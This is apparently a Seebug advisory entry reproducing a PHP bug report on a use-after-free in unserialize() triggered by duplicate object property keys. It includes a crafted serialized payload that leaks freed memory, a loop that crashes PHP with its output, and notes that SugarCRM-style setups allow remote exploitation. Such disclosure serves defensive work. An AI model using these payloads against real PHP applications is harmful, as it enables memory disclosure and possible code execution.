PHP process_nested_data 函数释放后重用漏洞

ID SSV:90137
Type seebug
Reporter niubl
Modified 2015-12-19T00:00:00


A while ago the function "process_nested_data" was changed to better handle object properties. Before it was possible to create numeric object properties which would cause trouble down the road. So the following code was added:


    if (!objprops) {
    } else {
        /* object properties should include no integers */
        zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,

&data, sizeof data, NULL); } ```

Whoever wrote this code did not know about the history of the unserialize() function and that in earlier times (2004) I found a use after free vulnerability in it. A non detailed write up can be found in [Bug 7].

The problem with the above code is that when there are two identical keys in the object's serialized properties the second key will delete the first one from memory and destroy the ZVAL associated with it. This means that ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. It has been demonstrated many times before that use after free inside unserialize() allows an attacker to execute arbitrary code. Also some programs do not only unserialize() user input but they also sent a serialized() reply back to the caller. In such a setup an attacker can not only trigger code execution but also leak memory content from remote. This together means he can write a fully working remote exploit that bypasses all modern mitigations. Examples how that was possible before you can see from this slide deck (starting from slide 30)

Last time I checked one prominent example of PHP code that uses unserialize() and serialize() in this way is: SugarCRM

The following code shows the leak:

``` <?php

$data = 'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

$x = unserialize($data); var_dump($x);

$ php test.php object(stdClass)#1 (2) { ["aaa"]=> int(1) ["ccc"]=> &string(39) "1Y?/" } ```

And the following code should crash PHP:

``` <?php

for ($i=4; $i<100; $i++) {


$m = new StdClass();

$u = array(1);

$m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i);

$z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } ```

As you can see here:

$ php x.php int(4) string(134) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}" object(stdClass)#2 (3) { ["aaa"]=&gt; int(1) ["ccc"]=&gt; &NULL ["ddd"]=&gt; string(4) "AAAA" } int(5) string(135) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}" object(stdClass)#1 (3) { ["aaa"]=&gt; int(1) ["ccc"]=&gt; &NULL ["ddd"]=&gt; string(5) "AAAAA" } int(6) string(136) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}" Segmentation fault: 11

Somewhen before you fix and release this I will prepare a POC that demonstrates full control over the program counter and to leak specific stuff from the system.